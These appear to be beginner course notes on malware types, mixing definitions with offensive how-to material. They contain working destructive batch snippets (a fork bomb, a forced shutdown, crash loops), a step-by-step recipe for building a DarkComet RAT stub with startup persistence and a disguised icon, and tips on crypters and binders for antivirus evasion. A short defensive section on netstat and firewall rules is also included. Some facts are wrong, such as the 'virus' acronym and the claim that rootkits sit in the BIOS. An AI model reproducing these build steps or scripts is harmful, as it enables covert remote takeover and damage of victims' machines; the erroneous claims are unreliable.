Session Types of Malwares

MALWARES
=========
The term MALWARE derives from "MAL+WARES" which means Malicious Software.
Malwares are the programs, tools, codes or programs that can affect your computer system with or without your permission and can harm you in any way as they want. They can be in any format whether in the form of image , video , executable file, text file etc.

IMPACT OF MALWARES
==================

= It can steal your data
= Can consume your resources such as Processor, RAM , Harddrive space etc.
= It can do identity theft
= Can take REmote control of your machine
= Can steal your money and confidential data and destroy your machine
= Can create junks of file and fill your Machine etc.

TYPES OF MALWARES
=================

1. Viruses
2. Worms
3. TRojans
4. Ransomwares
5. Adwares
6. Spywares
	6.1 Keyloggers
7. Botnets
8. Rootkits


1. VIRUS
========
VIRUS stands for "Vital Information Resource Under Seize"
THese are the implanted codes or programs which needs human assistance to initiate or execute so that they can get triggered on a particular machine. THey can't be replicated without any human assisstance.

Types
=====
1. Boot Sector Viruses : These are those which are implemented in the BIOS or Boot menu of the machine.


2. Directed Viruses : THey just get initiated with the help of self executable codes.

3. PolyMOrphic Viruses : These are the viruses which changes its signature every time when they are executed.

"www.virustotal.com"

BATCH FILE VIRUS CREATION
=========================
= which will create a folder

	mkdir hacked

= create a folder inside a folder---- infinite times

	:loop
	mkdir hacked
	cd hacked
	goto loop

= To Create infinite folder with different name
	:loop
	mkdir %random%
	goto loop

= To Create a file
	echo "hi, you are hacked?">>hack.txt

= Shut Down Virus
	shutdown -s -t 10 -c "Hacked By BITIAN =Hackers"

= To make system Crash
	:loop
	run cmd.exe
	run notepad.exe
	start calc.exe
	start explorer.exe
	goto loop

=   Fork Bomb
      %0|%0

2. WORMS
========
Worms are those malicious softwares which replicates into a network withoout any human assisstance. If a attacker is connected to a network and he/she ececutes the worm in his/her own machine it will start its working by replicating.
EG. Stuxnet , Conficker worm


3.TROJANS
=======
Trojans are the malicious applications or programs which looks like a normal application but is harmful in nature as it can give the whole remote access of the Target's Machine to the Attacker's Machine.

TYPES OF TROJANS ON THE BASIS OF CONNECTION
===========================================

Reverse Connection Trojan : A reverse connection trojan is that in which we don't have to get or know the IP Address of the Victim's Machine. You just have to create  a trojan having the Attacker's IP Address only.

----------------------------------------------------------

DEPLOYING OF TROJAN IN THE TARGET'S MACHINE
===========================================

1. DEPLOYING IN THE SAME NETWORK : The attacker just have to create a Trojan of the IP in the same network where a Target is residing.

2. DEPLOYING TROJAN GLOBALLY : In this Scenario, a Attacker is using a Globally hosted DNS with a global IP to get a reverse connection from a Target to itself. For eg. Using NOIP and Port Forwarding.

----------------------------------------------------------

RAT
===
RAT stands for Remote Administration Tool. It helps in creating Malwares like Trojans and Viruses which provides Remote Connection of a Victim Machine while not letting know the Victim about it.

----------------------------------------------------------

CREATION OF TROJANS
===================

= IP + PORT = Socket
= Stub = The Malicious Trojan we make through Dark Comet.

1. Left top corner = DarkComet-RAT
2. Go to "Server Module" = Full Editor(expert)
3. Main Settings = Process Mutex
    Mutex = Thread which helps me in sharing the computer's resources
    Random Process Mutex
    Server ID = Same|Change
    Profile Name = Same|Change
4. Goto Network Setting
    Insert Private IP Address and a port number(greater than 1200)
    Socket = IP Address + Port Number
    IP Address = Private IP Address --> 192.168.0.28
    Port Number = 1604
    CLick On "ADD"
5. Goto "Module Startup" = When my computer start, then what are the things which my trojan will do.
    Check box the "Start the stub with windows"
    Drop the stub in:
6. Goto Install Message
    Tick the check box
    Choose the icon
    Enter the you want the user to display
7. Goto Module Shield
8. File Icon
    Choose any file icon from the list.
9. Goto Stub Finalisation
    Build This Stub
    Destination for saving the stubb
10. To listen on a specific port
    port = 1604
    In the dark comet screen, top left corner = DarkComet-RAT = Click on that
    Click on "Listen to new port"
    enter the port number = 1604 and click on listen


EVADING ANTIVIRUSES AND ANTIMALWARES
====================================

HOW ANTIVIRUSES WORKS
=====================
Antiviruses and Antimalwares works on the definations or ccalled signatures of an application. If they found that a Signature of a Application is malicious, they will declare the application as a malware and if not they will declare it as a normal running application.

https://www.youtube.com/watch?v=bTU1jbVXlmM

FUD - Fully Undetectable


CRYPTERS AND BINDERS
====================
Crypters are cthose applications which helps as a extra coating layer to an application providing there own self generated "Signatures". Eg. CHrome Crypter, Urge Crypter

Binders are those applications which binds a file or a malware in any extension while not changing the functionality of the filetype.

Chrome & Urge Crypters = Limbo > Bingo

----------------------------------------------------------

BOTNETS AND ROOTKITS
====================

Botnets means roBOT+NETwork. THese are the malicious applications such as TRojans etc.. which runs on the Network and are intelligent enough to use there own mechanism.

Rootkits
========
Rootkits are those Malicious Applications or Codes which are installed in the Boot option such as BIOS and start executing on every startup.

---------------------------------------------------------

SECURE SYSTEM CONFIGURATION
===========================

1. CMD > $ netstat -ona
(This will show all the Sockets : IP+Port Connections with their Stats of that particular machine)
    = o stands for ports
    = n stands for network IPs
    = a stands for all connections

2.  CMD > tasklist
    CMD > $ taskkill /PID ___ /F

3. Startups Check and Maintaining the list of the Machine.

4. Task Manager > Processes > kill PID (Process ID) of the Malicious Executable(exe)

5. Checking Firewall status and making and creating new Rules Sets.  > Outbound Rules & Inbound Rules

6. Services running on the Machine.


TASKS
=====

1. Create a POC by making a Stub and getting the Remote Connection of a Machine.
2. Report on the World's First Antivirus.
3. Find an application which can see the "Established" and "Listening" connection of a machine just like "netstat".

Stuxnet : https://www.youtube.com/watch?v=7g0pi4J8auQ